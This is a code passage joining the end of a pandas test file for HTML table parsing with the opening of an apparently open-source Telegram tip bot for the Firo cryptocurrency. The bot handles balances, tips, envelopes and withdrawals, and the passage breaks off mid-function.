"% Chg",
]
)
nrows = 100
assert df.shape[0] == nrows
tm.assert_index_equal(df.columns, expected)
@pytest.mark.slow
def test_banklist_header(self, datapath):
from pandas.io.html import _remove_whitespace
def try_remove_ws(x):
try:
return _remove_whitespace(x)
except AttributeError:
return x
df = self.read_html(self.banklist_data, "Metcalf", attrs={"id": "table"})[0]
ground_truth = read_csv(
datapath("io", "data", "csv", "banklist.csv"),
converters={"Updated Date": Timestamp, "Closing Date": Timestamp},
)
assert df.shape == ground_truth.shape
old = [
"First Vietnamese American BankIn Vietnamese",
"Westernbank Puerto RicoEn Espanol",
"R-G Premier Bank of Puerto RicoEn Espanol",
"EurobankEn Espanol",
"Sanderson State BankEn Espanol",
"Washington Mutual Bank(Including its subsidiary Washington "
"Mutual Bank FSB)",
"Silver State BankEn Espanol",
"AmTrade International BankEn Espanol",
"Hamilton Bank, NAEn Espanol",
"The Citizens Savings BankPioneer Community Bank, Inc.",
]
new = [
"First Vietnamese American Bank",
"Westernbank Puerto Rico",
"R-G Premier Bank of Puerto Rico",
"Eurobank",
"Sanderson State Bank",
"Washington Mutual Bank",
"Silver State Bank",
"AmTrade International Bank",
"Hamilton Bank, NA",
"The Citizens Savings Bank",
]
dfnew = df.applymap(try_remove_ws).replace(old, new)
gtnew = ground_truth.applymap(try_remove_ws)
converted = dfnew._convert(datetime=True, numeric=True)
date_cols = ["Closing Date", "Updated Date"]
converted[date_cols] = converted[date_cols]._convert(datetime=True, coerce=True)
tm.assert_frame_equal(converted, gtnew)
@pytest.mark.slow
def test_gold_canyon(self):
gc = "Gold Canyon"
with open(self.banklist_data, "r") as f:
raw_text = f.read()
assert gc in raw_text
df = self.read_html(self.banklist_data, "Gold Canyon", attrs={"id": "table"})[0]
assert gc in df.to_string()
def test_different_number_of_cols(self):
expected = self.read_html(
"""<table>
<thead>
<tr style="text-align: right;">
<th></th>
<th>C_l0_g0</th>
<th>C_l0_g1</th>
<th>C_l0_g2</th>
<th>C_l0_g3</th>
<th>C_l0_g4</th>
</tr>
</thead>
<tbody>
<tr>
<th>R_l0_g0</th>
<td> 0.763</td>
<td> 0.233</td>
<td> nan</td>
<td> nan</td>
<td> nan</td>
</tr>
<tr>
<th>R_l0_g1</th>
<td> 0.244</td>
<td> 0.285</td>
<td> 0.392</td>
<td> 0.137</td>
<td> 0.222</td>
</tr>
</tbody>
</table>""",
index_col=0,
)[0]
result = self.read_html(
"""<table>
<thead>
<tr style="text-align: right;">
<th></th>
<th>C_l0_g0</th>
<th>C_l0_g1</th>
<th>C_l0_g2</th>
<th>C_l0_g3</th>
<th>C_l0_g4</th>
</tr>
</thead>
<tbody>
<tr>
<th>R_l0_g0</th>
<td> 0.763</td>
<td> 0.233</td>
</tr>
<tr>
<th>R_l0_g1</th>
<td> 0.244</td>
<td> 0.285</td>
<td> 0.392</td>
<td> 0.137</td>
<td> 0.222</td>
</tr>
</tbody>
</table>""",
index_col=0,
)[0]
tm.assert_frame_equal(result, expected)
def test_colspan_rowspan_1(self):
# GH17054
result = self.read_html(
"""
<table>
<tr>
<th>A</th>
<th colspan="1">B</th>
<th rowspan="1">C</th>
</tr>
<tr>
<td>a</td>
<td>b</td>
<td>c</td>
</tr>
</table>
"""
)[0]
expected = DataFrame([["a", "b", "c"]], columns=["A", "B", "C"])
tm.assert_frame_equal(result, expected)
def test_colspan_rowspan_copy_values(self):
# GH17054
# In ASCII, with lowercase letters being copies:
#
# X x Y Z W
# A B b z C
result = self.read_html(
"""
<table>
<tr>
<td colspan="2">X</td>
<td>Y</td>
<td rowspan="2">Z</td>
<td>W</td>
</tr>
<tr>
<td>A</td>
<td colspan="2">B</td>
<td>C</td>
</tr>
</table>
""",
header=0,
)[0]
expected = DataFrame(
data=[["A", "B", "B", "Z", "C"]], columns=["X", "X.1", "Y", "Z", "W"]
)
tm.assert_frame_equal(result, expected)
def test_colspan_rowspan_both_not_1(self):
# GH17054
# In ASCII, with lowercase letters being copies:
#
# A B b b C
# a b b b D
result = self.read_html(
"""
<table>
<tr>
<td rowspan="2">A</td>
<td rowspan="2" colspan="3">B</td>
<td>C</td>
</tr>
<tr>
<td>D</td>
</tr>
</table>
""",
header=0,
)[0]
expected = DataFrame(
data=[["A", "B", "B", "B", "D"]], columns=["A", "B", "B.1", "B.2", "C"]
)
tm.assert_frame_equal(result, expected)
def test_rowspan_at_end_of_row(self):
# GH17054
# In ASCII, with lowercase letters being copies:
#
# A B
# C b
result = self.read_html(
"""
<table>
<tr>
<td>A</td>
<td rowspan="2">B</td>
</tr>
<tr>
<td>C</td>
</tr>
</table>
""",
header=0,
)[0]
expected = DataFrame(data=[["C", "B"]], columns=["A", "B"])
tm.assert_frame_equal(result, expected)
def test_rowspan_only_rows(self):
# GH17054
result = self.read_html(
"""
<table>
<tr>
<td rowspan="3">A</td>
<td rowspan="3">B</td>
</tr>
</table>
""",
header=0,
)[0]
expected = DataFrame(data=[["A", "B"], ["A", "B"]], columns=["A", "B"])
tm.assert_frame_equal(result, expected)
def test_header_inferred_from_rows_with_only_th(self):
# GH17054
result = self.read_html(
"""
<table>
<tr>
<th>A</th>
<th>B</th>
</tr>
<tr>
<th>a</th>
<th>b</th>
</tr>
<tr>
<td>1</td>
<td>2</td>
</tr>
</table>
"""
)[0]
columns = MultiIndex(levels=[["A", "B"], ["a", "b"]], codes=[[0, 1], [0, 1]])
expected = DataFrame(data=[[1, 2]], columns=columns)
tm.assert_frame_equal(result, expected)
def test_parse_dates_list(self):
df = DataFrame({"date": date_range("1/1/2001", periods=10)})
expected = df.to_html()
res = self.read_html(expected, parse_dates=[1], index_col=0)
tm.assert_frame_equal(df, res[0])
res = self.read_html(expected, parse_dates=["date"], index_col=0)
tm.assert_frame_equal(df, res[0])
def test_parse_dates_combine(self):
raw_dates = Series(date_range("1/1/2001", periods=10))
df = DataFrame(
{
"date": raw_dates.map(lambda x: str(x.date())),
"time": raw_dates.map(lambda x: str(x.time())),
}
)
res = self.read_html(
df.to_html(), parse_dates={"datetime": [1, 2]}, index_col=1
)
newdf = DataFrame({"datetime": raw_dates})
tm.assert_frame_equal(newdf, res[0])
def test_computer_sales_page(self, datapath):
data = datapath("io", "data", "html", "computer_sales_page.html")
msg = (
r"Passed header=\[0,1\] are too many "
r"rows for this multi_index of columns"
)
with pytest.raises(ParserError, match=msg):
self.read_html(data, header=[0, 1])
data = datapath("io", "data", "html", "computer_sales_page.html")
assert self.read_html(data, header=[1, 2])
def test_wikipedia_states_table(self, datapath):
data = datapath("io", "data", "html", "wikipedia_states.html")
assert os.path.isfile(data), f"{repr(data)} is not a file"
assert os.path.getsize(data), f"{repr(data)} is an empty file"
result = self.read_html(data, "Arizona", header=1)[0]
assert result["sq mi"].dtype == np.dtype("float64")
def test_parser_error_on_empty_header_row(self):
msg = (
r"Passed header=\[0,1\] are too many "
r"rows for this multi_index of columns"
)
with pytest.raises(ParserError, match=msg):
self.read_html(
"""
<table>
<thead>
<tr><th></th><th></tr>
<tr><th>A</th><th>B</th></tr>
</thead>
<tbody>
<tr><td>a</td><td>b</td></tr>
</tbody>
</table>
""",
header=[0, 1],
)
def test_decimal_rows(self):
# GH 12907
result = self.read_html(
"""<html>
<body>
<table>
<thead>
<tr>
<th>Header</th>
</tr>
</thead>
<tbody>
<tr>
<td>1100#101</td>
</tr>
</tbody>
</table>
</body>
</html>""",
decimal="#",
)[0]
expected = DataFrame(data={"Header": 1100.101}, index=[0])
assert result["Header"].dtype == np.dtype("float64")
tm.assert_frame_equal(result, expected)
def test_bool_header_arg(self):
# GH 6114
for arg in [True, False]:
with pytest.raises(TypeError):
self.read_html(self.spam_data, header=arg)
def test_converters(self):
# GH 13461
result = self.read_html(
"""<table>
<thead>
<tr>
<th>a</th>
</tr>
</thead>
<tbody>
<tr>
<td> 0.763</td>
</tr>
<tr>
<td> 0.244</td>
</tr>
</tbody>
</table>""",
converters={"a": str},
)[0]
expected = DataFrame({"a": ["0.763", "0.244"]})
tm.assert_frame_equal(result, expected)
def test_na_values(self):
# GH 13461
result = self.read_html(
"""<table>
<thead>
<tr>
<th>a</th>
</tr>
</thead>
<tbody>
<tr>
<td> 0.763</td>
</tr>
<tr>
<td> 0.244</td>
</tr>
</tbody>
</table>""",
na_values=[0.244],
)[0]
expected = DataFrame({"a": [0.763, np.nan]})
tm.assert_frame_equal(result, expected)
def test_keep_default_na(self):
html_data = """<table>
<thead>
<tr>
<th>a</th>
</tr>
</thead>
<tbody>
<tr>
<td> N/A</td>
</tr>
<tr>
<td> NA</td>
</tr>
</tbody>
</table>"""
expected_df = DataFrame({"a": ["N/A", "NA"]})
html_df = self.read_html(html_data, keep_default_na=False)[0]
tm.assert_frame_equal(expected_df, html_df)
expected_df = DataFrame({"a": [np.nan, np.nan]})
html_df = self.read_html(html_data, keep_default_na=True)[0]
tm.assert_frame_equal(expected_df, html_df)
def test_preserve_empty_rows(self):
result = self.read_html(
"""
<table>
<tr>
<th>A</th>
<th>B</th>
</tr>
<tr>
<td>a</td>
<td>b</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</table>
"""
)[0]
expected = DataFrame(data=[["a", "b"], [np.nan, np.nan]], columns=["A", "B"])
tm.assert_frame_equal(result, expected)
def test_ignore_empty_rows_when_inferring_header(self):
result = self.read_html(
"""
<table>
<thead>
<tr><th></th><th></tr>
<tr><th>A</th><th>B</th></tr>
<tr><th>a</th><th>b</th></tr>
</thead>
<tbody>
<tr><td>1</td><td>2</td></tr>
</tbody>
</table>
"""
)[0]
columns = MultiIndex(levels=[["A", "B"], ["a", "b"]], codes=[[0, 1], [0, 1]])
expected = DataFrame(data=[[1, 2]], columns=columns)
tm.assert_frame_equal(result, expected)
def test_multiple_header_rows(self):
# Issue #13434
expected_df = DataFrame(
data=[("Hillary", 68, "D"), ("Bernie", 74, "D"), ("Donald", 69, "R")]
)
expected_df.columns = [
["Unnamed: 0_level_0", "Age", "Party"],
["Name", "Unnamed: 1_level_1", "Unnamed: 2_level_1"],
]
html = expected_df.to_html(index=False)
html_df = self.read_html(html)[0]
tm.assert_frame_equal(expected_df, html_df)
def test_works_on_valid_markup(self, datapath):
filename = datapath("io", "data", "html", "valid_markup.html")
dfs = self.read_html(filename, index_col=0)
assert isinstance(dfs, list)
assert isinstance(dfs[0], DataFrame)
@pytest.mark.slow
def test_fallback_success(self, datapath):
banklist_data = datapath("io", "data", "html", "banklist.html")
self.read_html(banklist_data, ".*Water.*", flavor=["lxml", "html5lib"])
def test_to_html_timestamp(self):
rng = date_range("2000-01-01", periods=10)
df = DataFrame(np.random.randn(10, 4), index=rng)
result = df.to_html()
assert "2000-01-01" in result
@pytest.mark.parametrize(
"displayed_only,exp0,exp1",
[
(True, DataFrame(["foo"]), None),
(False, DataFrame(["foo bar baz qux"]), DataFrame(["foo"])),
],
)
def test_displayed_only(self, displayed_only, exp0, exp1):
# GH 20027
data = StringIO(
"""<html>
<body>
<table>
<tr>
<td>
foo
<span style="display:none;text-align:center">bar</span>
<span style="display:none">baz</span>
<span style="display: none">qux</span>
</td>
</tr>
</table>
<table style="display: none">
<tr>
<td>foo</td>
</tr>
</table>
</body>
</html>"""
)
dfs = self.read_html(data, displayed_only=displayed_only)
tm.assert_frame_equal(dfs[0], exp0)
if exp1 is not None:
tm.assert_frame_equal(dfs[1], exp1)
else:
assert len(dfs) == 1 # Should not parse hidden table
def test_encode(self, html_encoding_file):
_, encoding = os.path.splitext(os.path.basename(html_encoding_file))[0].split(
"_"
)
try:
with open(html_encoding_file, "rb") as fobj:
from_string = self.read_html(
fobj.read(), encoding=encoding, index_col=0
).pop()
with open(html_encoding_file, "rb") as fobj:
from_file_like = self.read_html(
BytesIO(fobj.read()), encoding=encoding, index_col=0
).pop()
from_filename = self.read_html(
html_encoding_file, encoding=encoding, index_col=0
).pop()
tm.assert_frame_equal(from_string, from_file_like)
tm.assert_frame_equal(from_string, from_filename)
except Exception:
# seems utf-16/32 fail on windows
if is_platform_windows():
if "16" in encoding or "32" in encoding:
pytest.skip()
raise
def test_parse_failure_unseekable(self):
# Issue #17975
if self.read_html.keywords.get("flavor") == "lxml":
pytest.skip("Not applicable for lxml")
class UnseekableStringIO(StringIO):
def seekable(self):
return False
bad = UnseekableStringIO(
"""
<table><tr><td>spam<foobr />eggs</td></tr></table>"""
)
assert self.read_html(bad)
with pytest.raises(ValueError, match="passed a non-rewindable file object"):
self.read_html(bad)
def test_parse_failure_rewinds(self):
# Issue #17975
class MockFile:
def __init__(self, data):
self.data = data
self.at_end = False
def read(self, size=None):
data = "" if self.at_end else self.data
self.at_end = True
return data
def seek(self, offset):
self.at_end = False
def seekable(self):
return True
good = MockFile("<table><tr><td>spam<br />eggs</td></tr></table>")
bad = MockFile("<table><tr><td>spam<foobr />eggs</td></tr></table>")
assert self.read_html(good)
assert self.read_html(bad)
@pytest.mark.slow
def test_importcheck_thread_safety(self, datapath):
# see gh-16928
class ErrorThread(threading.Thread):
def run(self):
try:
super().run()
except Exception as err:
self.err = err
else:
self.err = None
# force import check by reinitalising global vars in html.py
reload(pandas.io.html)
filename = datapath("io", "data", "html", "valid_markup.html")
helper_thread1 = ErrorThread(target=self.read_html, args=(filename,))
helper_thread2 = ErrorThread(target=self.read_html, args=(filename,))
helper_thread1.start()
helper_thread2.start()
while helper_thread1.is_alive() or helper_thread2.is_alive():
pass
assert None is helper_thread1.err is helper_thread2.err
|
tipbot.py | """
Developed by @vsnation(t.me/vsnation)
Email: vsnation.v@gmail.com
If you'll need the support use the contacts ^(above)!
"""
import json
import logging
import threading
import traceback
import random
import pyqrcode
import schedule
import re
from PIL import Image, ImageFont, ImageDraw
import matplotlib.pyplot as plt
import datetime
import time
import requests
from pymongo import MongoClient
from telegram import Bot, InlineKeyboardMarkup, InlineKeyboardButton
import uuid
from api.firo_wallet_api import FiroWalletAPI
plt.style.use('seaborn-whitegrid')
logger = logging.getLogger()
logger.setLevel(logging.ERROR)
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
AV_FEE = 0.002
with open('services.json') as conf_file:
conf = json.load(conf_file)
connectionString = conf['mongo']['connectionString']
bot_token = conf['telegram_bot']['bot_token']
httpprovider = conf['httpprovider']
dictionary = conf['dictionary']
LOG_CHANNEL = conf['log_ch']
SATS_IN_BTC = 1e8
wallet_api = FiroWalletAPI(httpprovider)
point_to_pixels = 1.33
bold = ImageFont.truetype(font="fonts/ProximaNova-Bold.ttf", size=int(18 * point_to_pixels))
regular = ImageFont.truetype(font="fonts/ProximaNova-Regular.ttf", size=int(18 * point_to_pixels))
bold_high = ImageFont.truetype(font="fonts/ProximaNova-Bold.ttf", size=int(26 * point_to_pixels))
WELCOME_MESSAGE = """
<b>Welcome to the Firo telegram tip bot!</b>
"""
class TipBot:
def __init__(self, wallet_api):
# INIT
self.bot = Bot(bot_token)
self.wallet_api = wallet_api
# firo Butler Initialization
client = MongoClient(connectionString)
db = client.get_default_database()
self.col_captcha = db['captcha']
self.col_commands_history = db['commands_history']
self.col_users = db['users']
self.col_senders = db['senders']
self.col_tip_logs = db['tip_logs']
self.col_envelopes = db['envelopes']
self.col_txs = db['txs']
self.get_wallet_balance()
self.update_balance()
self.message, self.text, self._is_video, self.message_text, \
self.first_name, self.username, self.user_id, self.firo_address, \
self.balance_in_firo, self.locked_in_firo, self.is_withdraw, self.balance_in_groth, \
self._is_verified, self.group_id, self.group_username = \
None, None, None, None, None, None, None, None, None, None, None, None, None, None, None
self.wallet_api.automintunspent()
schedule.every(60).seconds.do(self.update_balance)
schedule.every(300).seconds.do(self.wallet_api.automintunspent)
threading.Thread(target=self.pending_tasks).start()
self.new_message = None
while True:
try:
self._is_user_in_db = None
# get chat updates
new_messages = self.wait_new_message()
self.processing_messages(new_messages)
except Exception as exc:
print(exc)
def pending_tasks(self):
while True:
schedule.run_pending()
time.sleep(5)
def processing_messages(self, new_messages):
for self.new_message in new_messages:
try:
time.sleep(0.5)
self.message = self.new_message.message \
if self.new_message.message is not None \
else self.new_message.callback_query.message
self.text, self._is_video = self.get_action(self.new_message)
self.message_text = str(self.text).lower()
# init user data
self.first_name = self.new_message.effective_user.first_name
self.username = self.new_message.effective_user.username
self.user_id = int(self.new_message.effective_user.id)
self.firo_address, self.balance_in_firo, self.locked_in_firo, self.is_withdraw = self.get_user_data()
self.balance_in_groth = self.balance_in_firo * SATS_IN_BTC if self.balance_in_firo is not None else 0
try:
self._is_verified = self.col_users.find_one({"_id": self.user_id})['IsVerified']
self._is_user_in_db = self._is_verified
except Exception as exc:
print(exc)
self._is_verified = True
self._is_user_in_db = False
#
print(self.username)
print(self.user_id)
print(self.first_name)
print(self.message_text, '\n')
self.group_id = self.message.chat.id
self.group_username = self.get_group_username()
split = self.text.split(' ')
if len(split) > 1:
args = split[1:]
else:
args = None
# Check if user changed his username
self.check_username_on_change()
self.action_processing(str(split[0]).lower(), args)
# self.check_group_msg()
except Exception as exc:
print(exc)
traceback.print_exc()
def send_to_logs(self, text):
try:
self.bot.send_message(
LOG_CHANNEL,
text,
parse_mode='HTML'
)
except Exception as exc:
print(exc)
def get_group_username(self):
"""
Get group username
"""
try:
return str(self.message.chat.username)
except Exception:
return str(self.message.chat.id)
def get_user_username(self):
"""
Get User username
"""
try:
return str(self.message.from_user.username)
except Exception:
return None
def wait_new_message(self):
while True:
updates = self.bot.get_updates(allowed_updates=["message", "callback_query"])
if len(updates) > 0:
break
update = updates[-1]
self.bot.get_updates(offset=update["update_id"] + 1, allowed_updates=["message", "callback_query"])
return updates
@staticmethod
def get_action(message):
_is_document = False
menu_option = None
if message['message'] is not None:
menu_option = message['message']['text']
_is_document = message['message']['document'] is not None
if 'mp4' in str(message['message']['document']):
_is_document = False
elif message["callback_query"] != 0:
menu_option = message["callback_query"]["data"]
return str(menu_option), _is_document
def action_processing(self, cmd, args):
"""
Check each user actions
"""
# ***** Tip bot section begin *****
if cmd.startswith("/tip") or cmd.startswith("/atip"):
if not self._is_user_in_db:
self.send_message(self.group_id, f'<a href="tg://user?id={self.user_id}">{self.first_name}</a>, <a href="https://t.me/firo_tipbot?start=1"><a href="https://t.me/firo_tipbot?start=1">start the bot</a></a>to receive tips!', parse_mode='HTML')
return
try:
if args is not None and len(args) >= 1:
if cmd.startswith("/atip"):
_type = "anonymous"
else:
_type = None
if self.message.reply_to_message is not None:
comment = " ".join(args[1:]) if len(args) > 1 else ""
args = args[0:1]
self.tip_in_the_chat(_type=_type, comment=comment, *args)
else:
comment = " ".join(args[2:]) if len(args) > 2 else ""
args = args[0:2]
self.tip_user(_type=_type, comment=comment, *args)
else:
self.incorrect_parametrs_image()
self.send_message(
self.user_id,
dictionary['tip_help'],
parse_mode='HTML'
)
except Exception as exc:
print(exc)
self.incorrect_parametrs_image()
self.send_message(
self.user_id,
dictionary['tip_help'],
parse_mode='HTML'
)
elif cmd.startswith("/envelope"):
try:
self.bot.delete_message(self.group_id, self.message.message_id)
except Exception:
pass
if self.message.chat['type'] == 'private':
self.send_message(
self.user_id,
"<b>You can use this cmd only in the group</b>",
parse_mode="HTML"
)
return
if not self._is_user_in_db:
self.send_message(self.group_id,
f'<a href="tg://user?id={self.user_id}">{self.first_name}</a>, <a href="https://t.me/firo_tipbot?start=1">start the bot</a> to receive tips!', parse_mode="HTML", disable_web_page_preview=True)
return
try:
if args is not None and len(args) == 1:
self.create_red_envelope(*args)
else:
self.incorrect_parametrs_image()
except Exception as exc:
print(exc)
self.incorrect_parametrs_image()
elif cmd.startswith("catch_envelope|"):
if not self._is_user_in_db:
self.send_message(self.group_id,
f'<a href="tg://user?id={self.user_id}">{self.first_name}</a>, <a href="https://t.me/firo_tipbot?start=1">start the bot</a> to receive tips!', parse_mode="HTML", disable_web_page_preview=True)
return
try:
envelope_id = cmd.split("|")[1]
self.catch_envelope(envelope_id)
except Exception as exc:
print(exc)
self.incorrect_parametrs_image()
elif cmd.startswith("/balance"):
if not self._is_user_in_db:
self.send_message(self.group_id,
f'<a href="tg://user?id={self.user_id}">{self.first_name}</a>, <a href="https://t.me/firo_tipbot?start=1">start the bot</a> to receive tips!', parse_mode="HTML", disable_web_page_preview=True)
return
self.send_message(
self.user_id,
dictionary['balance'] % "{0:.8f}".format(float(self.balance_in_firo)),
parse_mode='HTML'
)
elif cmd.startswith("/withdraw"):
try:
if not self._is_user_in_db:
self.send_message(self.group_id,
f'<a href="tg://user?id={self.user_id}">{self.first_name}</a>, <a href="https://t.me/firo_tipbot?start=1">start the bot</a> to receive tips!', parse_mode="HTML", disable_web_page_preview=True)
return
if args is not None and len(args) == 2:
self.withdraw_coins(*args)
else:
self.incorrect_parametrs_image()
except Exception as exc:
print(exc)
traceback.print_exc()
elif cmd.startswith("/deposit"):
if not self._is_user_in_db:
self.send_message(self.group_id,
f'<a href="tg://user?id={self.user_id}">{self.first_name}</a>, <a href="https://t.me/firo_tipbot?start=1">start the bot</a> to receive tips!', parse_mode="HTML", disable_web_page_preview=True)
return
self.send_message(
self.user_id,
dictionary['deposit'] % self.firo_address,
parse_mode='HTML'
)
self.create_qr_code()
elif cmd.startswith("/help"):
bot_msg = self.send_message(
self.user_id,
dictionary['help'],
parse_mode='HTML',
disable_web_page_preview=True
)
# ***** Tip bot section end *****
# ***** Verification section begin *****
elif cmd.startswith("/start"):
self.auth_user()
def check_username_on_change(self):
"""
Check username on change in the bot
"""
_is_username_in_db = self.col_users.find_one(
{"username": self.username}) is not None \
if self.username is not None \
else True
if not _is_username_in_db:
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"username": self.username
}
}
)
_is_first_name_in_db = self.col_users.find_one(
{"first_name": self.first_name}) is not None if self.first_name is not None else True
if not _is_first_name_in_db:
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"first_name": self.first_name
}
}
)
def get_wallet_balance(self):
try:
r = self.wallet_api.listlelantusmints()
result = sum([_x['amount'] for _x in r['result'] if not _x['isUsed']])
print("Current Balance", result / 1e8)
except Exception as exc:
print(exc)
def update_balance(self):
"""
Update user's balance using transactions history
"""
print("Handle TXs")
response = self.wallet_api.get_txs_list()
for _tx in response['result']:
try:
if not _tx.get('address'):
continue
"""
Check withdraw txs
"""
_user_receiver = self.col_users.find_one(
{"Address": _tx['address']}
)
_is_tx_exist_deposit = self.col_txs.find_one(
{"txId": _tx['txid'], "type": "deposit"}
) is not None
if _user_receiver is not None and \
not _is_tx_exist_deposit and \
_tx['confirmations'] >= 2 and _tx['category'] == 'receive':
value_in_coins = float(_tx['amount'])
new_balance = _user_receiver['Balance'] + value_in_coins
_id = str(uuid.uuid4())
self.col_txs.insert_one({
'_id': _id,
'txId': _tx['txid'],
**_tx,
'type': "deposit",
'timestamp': datetime.datetime.now()
})
self.col_users.update_one(
_user_receiver,
{
"$set":
{
"Balance": float("{0:.8f}".format(float(new_balance)))
}
}
)
self.create_receive_tips_image(
_user_receiver['_id'],
"{0:.8f}".format(value_in_coins),
"Deposit")
print("*Deposit Success*\n"
"Balance of address %s has recharged on *%s* firos." % (
_tx['address'], value_in_coins
))
continue
_is_tx_exist_withdraw = self.col_txs.find_one(
{"txId": _tx['txid'], "type": "withdraw"}
) is not None
pending_sender = self.col_senders.find_one(
{"txId": _tx['txid'], "status": "pending"}
)
if not pending_sender:
continue
_user_sender = self.col_users.find_one({"_id": pending_sender['user_id']})
if _user_sender is not None and not _is_tx_exist_withdraw and _tx['category'] == "spend":
value_in_coins = float((abs(_tx['amount'])))
# if _tx['status'] == 4 or _tx['status'] == 2:
# self.withdraw_failed_image(_user_sender['_id'])
# try:
# reason = _tx['failure_reason']
# except Exception:
# reason = "cancelled"
# self.col_txs.insert({
# "txId": _tx['txid'],
# 'kernel': '000000000000000000',
# 'receiver': _tx['receiver'],
# 'sender': _tx['sender'],
# 'status': _tx['status'],
# 'fee': _tx['fee'],
# 'reason': reason,
# 'comment': _tx['comment'],
# 'value': _tx['value'],
# 'type': "withdraw",
# 'timestamp': datetime.datetime.now()
# })
#
# new_locked = float(_user_sender['Locked']) - value_in_coins
# new_balance = float(_user_sender['Balance']) + value_in_coins
#
# self.col_users.update_one(
# {
# "_id": _user_sender['_id']
# },
# {
# "$set":
# {
# "IsWithdraw": False,
# "Balance": float("{0:.8f}".format(float(new_balance))),
# "Locked": float("{0:.8f}".format(float(new_locked)))
# }
# }
# )
if _tx['confirmations'] >= 2:
_id = str(uuid.uuid4())
self.col_txs.insert_one({
'_id': _id,
"txId": _tx['txid'],
**_tx,
'type': "withdraw",
'timestamp': datetime.datetime.now()
})
new_locked = float(_user_sender['Locked']) - value_in_coins
if new_locked >= 0:
self.col_users.update_one(
{
"_id": _user_sender['_id']
},
{
"$set":
{
"Locked": float("{0:.8f}".format(new_locked)),
"IsWithdraw": False
}
}
)
else:
new_balance = float(_user_sender['Balance']) - value_in_coins
self.col_users.update_one(
{
"_id": _user_sender['_id']
},
{
"$set":
{
"Balance": float("{0:.8f}".format(new_balance)),
"IsWithdraw": False
}
}
)
self.create_send_tips_image(_user_sender['_id'],
"{0:.8f}".format(float(abs(_tx['amount']))),
"%s..." % _tx['address'][:8])
self.col_senders.update_one(
{"txId": _tx['txid'], "status": "pending", "user_id": _user_sender['_id']},
{"$set": {"status": "completed"}}
)
print("*Withdrawal Success*\n"
"Balance of address %s has recharged on *%s* firos." % (
_user_sender['Address'], value_in_coins
))
continue
except Exception as exc:
print(exc)
traceback.print_exc()
def get_user_data(self):
"""
Get user data
"""
try:
_user = self.col_users.find_one({"_id": self.user_id})
return _user['Address'], _user['Balance'], _user['Locked'], _user['IsWithdraw']
except Exception as exc:
print(exc)
traceback.print_exc()
return None, None, None, None
def withdraw_coins(self, address, amount, comment=""):
"""
Withdraw coins to address with params:
address
amount
"""
try:
try:
amount = float(amount)
except Exception as exc:
self.send_message(self.user_id,
dictionary['incorrect_amount'],
parse_mode='HTML')
print(exc)
traceback.print_exc()
return
_is_address_valid = self.wallet_api.validate_address(address)['result']['isvalid']
if not _is_address_valid:
self.send_message(
self.user_id,
"<b>You specified incorrect address</b>",
parse_mode='HTML'
)
return
if float(self.balance_in_firo) >= float("{0:.8f}".format(amount)) and float(self.balance_in_firo) >= AV_FEE:
_user = self.col_users.find_one({"_id": self.user_id})
new_balance = float("{0:.8f}".format(float(self.balance_in_firo - amount)))
new_locked = float("{0:.8f}".format(float(self.locked_in_firo + amount - AV_FEE)))
response = self.wallet_api.joinsplit(
address,
float(amount - AV_FEE), # fee
)
print(response, "withdraw")
if response.get('error'):
self.send_message(
self.user_id, "Not enough inputs. Try to repeat a bit later!"
)
self.send_to_logs(f"Unavailable Withdraw\n{str(response)}")
return
self.col_senders.insert_one(
{"txId": response['result'], "status": "pending", "user_id": self.user_id}
)
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"Balance": new_balance,
"Locked": new_locked,
}
}
)
self.withdraw_image(self.user_id,
"{0:.8f}".format(float(amount)),
address,
msg=f"Your txId {response['result']}")
else:
self.insufficient_balance_image()
except Exception as exc:
print(exc)
traceback.print_exc()
def tip_user(self, username, amount, comment, _type=None):
"""
Tip user with params:
username
amount
"""
try:
try:
amount = float(amount)
if amount < 0.00000001:
raise Exception
except Exception as exc:
self.incorrect_parametrs_image()
print(exc)
traceback.print_exc()
return
username = username.replace('@', '')
_user = self.col_users.find_one({"username": username})
_is_username_exists = _user is not None
if not _is_username_exists:
self.send_message(self.user_id,
dictionary['username_error'],
parse_mode='HTML')
return
self.send_tip(_user['_id'], amount, _type, comment)
except Exception as exc:
print(exc)
traceback.print_exc()
def tip_in_the_chat(self, amount, comment="", _type=None):
"""
Send a tip to user in the chat
"""
try:
try:
amount = float(amount)
if amount < 0.00000001:
raise Exception
except Exception as exc:
self.incorrect_parametrs_image()
print(exc)
traceback.print_exc()
return
self.send_tip(
self.message.reply_to_message.from_user.id,
amount,
_type,
comment
)
except Exception as exc:
print(exc)
traceback.print_exc()
def send_tip(self, user_id, amount, _type, comment):
"""
Send tip to user with params
user_id - user identificator
addrees - user address
amount - amount of a tip
"""
try:
if self.user_id == user_id:
self.send_message(
self.user_id,
"<b>You can't send tips to yourself!</b>",
parse_mode='HTML'
)
return
_user_receiver = self.col_users.find_one({"_id": user_id})
if _user_receiver is None or _user_receiver['IsVerified'] is False:
self.send_message(self.user_id,
dictionary['username_error'],
parse_mode='HTML')
return
if _type == 'anonymous':
sender_name = str(_type).title()
# sender_user_id = 0000000
else:
sender_name = self.first_name
# sender_user_id = self.user_id
if self.balance_in_firo >= amount > 0:
try:
self.create_send_tips_image(
self.user_id,
"{0:.8f}".format(float(amount)),
_user_receiver['first_name'],
comment
)
self.create_receive_tips_image(
_user_receiver['_id'],
"{0:.8f}".format(float(amount)),
sender_name,
comment
)
self.col_users.update_one(
{
"_id": self.user_id
},
{
"$set":
{
"Balance": float(
"{0:.8f}".format(float(float(self.balance_in_firo) - float(amount))))
}
}
)
self.col_users.update_one(
{
"_id": _user_receiver['_id']
},
{
"$set":
{
"Balance": float(
"{0:.8f}".format(float(float(_user_receiver['Balance']) + float(amount))))
}
}
)
if _type == 'anonymous':
self.col_tip_logs.insert(
{
"type": "atip",
"from_user_id": self.user_id,
"to_user_id": _user_receiver['_id'],
"amount": amount
}
)
else:
self.col_tip_logs.insert(
{
"type": "tip",
"from_user_id": self.user_id,
"to_user_id": _user_receiver['_id'],
"amount": amount
}
)
except Exception as exc:
print(exc)
traceback.print_exc()
else:
self.insufficient_balance_image()
except Exception as exc:
print(exc)
traceback.print_exc()
def create_receive_tips_image(self, user_id, amount, first_name, comment=""):
try:
im = Image.open("images/receive_template.png")
d = ImageDraw.Draw(im)
location_f = (266, 21)
location_s = (266, 45)
location_t = (266, 67)
if "Deposit" in first_name:
d.text(location_f, "%s" % first_name, font=bold, fill='#000000')
